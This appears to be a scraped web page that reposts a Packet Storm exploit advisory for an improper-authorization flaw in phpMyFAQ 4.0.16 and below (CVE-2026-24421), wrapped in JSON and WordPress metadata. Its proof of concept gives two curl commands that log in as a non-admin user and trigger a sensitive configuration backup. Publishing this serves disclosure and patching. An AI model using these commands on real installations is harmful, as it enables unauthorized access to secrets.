{“lastseen”:”2026-05-05T21:31:33″,”description”:”phpMyFAQ versions 4.0.16 and below suffer from an improper authorization vulnerability…”,”published”:”2026-05-05T00:00:00″,”modified”:”2026-05-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 phpMyFAQ 4.0.16 Improper Authorization”,”source”:””,”references”:””,”id”:”PACKETSTORM:220369″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-24421″],”sourceData”:”# Exploit Title: phpMyFAQ \\u003c= 4.0.16 – Improper Authorization \\n # Google Dork: N\/A\\n # Date: 2026-01-23\\n # Exploit Author: GUIA BRAHIM FOUAD\\n # Vendor Homepage: https:\/\/www.phpmyfaq.de\/\\n # Software Link: https:\/\/www.phpmyfaq.de\/download\/\\n # Version: \\u003c= 4.0.16 (REQUIRED)\\n # Tested on: Ubuntu 22.04, Apache 2.4.52, PHP 8.2.x, MariaDB 10.6.x\\n # CVE: CVE-2026-24421\\n \\n ## Summary\\n Authenticated non-admin users can call \/api\/setup\/backup and trigger a configuration backup. The endpoint checks authentication but does not enforce authorization (missing configuration\/admin permission check), and returns a link\/path to the generated ZIP.\\n \\n ## Details\\n SetupController.php uses userIsAuthenticated() but does not verify that the requester has configuration\/admin permissions. This allows any logged-in user to create a sensitive backup and retrieve its path.\\n \\n ## PoC\\n Precondition: API enabled, any authenticated non-admin user.\\n \\n 1) Log in as a non-admin user:\\n curl -c \/tmp\/pmf_api_cookies.txt \\\\\\n -H ‘Content-Type: application\/json’ \\\\\\n -d ‘{\\”username\\”:\\”tester\\”,\\”password\\”:\\”Test1234!\\”}’ \\\\\\n http:\/\/192.168.40.16\/phpmyfaq\/api\/v3.0\/login\\n \\n 2) Trigger backup generation:\\n curl -i -b \/tmp\/pmf_api_cookies.txt \\\\\\n -X POST –data ‘4.0.16’ \\\\\\n http:\/\/192.168.40.16\/phpmyfaq\/api\/setup\/backup\\n \\n ## Expected Result\\n The API responds successfully and includes a link\/path to the generated ZIP backup even though the caller is not an admin \/ does not have configuration-edit permissions.\\n \\n ## Impact\\n Low-privileged users can generate sensitive backups. If the ZIP is web-accessible (server misconfiguration), this can lead to exposure of secrets\/configuration and facilitate follow-on compromise.\\n \\n ## References\\n – GitHub Advisory: GHSA-wm8h-26fv-mg7g”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220369″,”cvss”:{“score”:6.5,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220369\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-05T21:31:33″,”description”:”phpMyFAQ versions 4.0.16 and below suffer from an improper authorization vulnerability…”,”published”:”2026-05-05T00:00:00″,”modified”:”2026-05-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 phpMyFAQ 4.0.16 Improper Authorization”,”source”:””,”references”:””,”id”:”PACKETSTORM:220369″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-24421″],”sourceData”:”# Exploit Title: phpMyFAQ \\u003c= 4.0.16 – Improper Authorization \\n #…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,26,12,21,13,53,7,11,5],"class_list":["post-51572","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-65","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n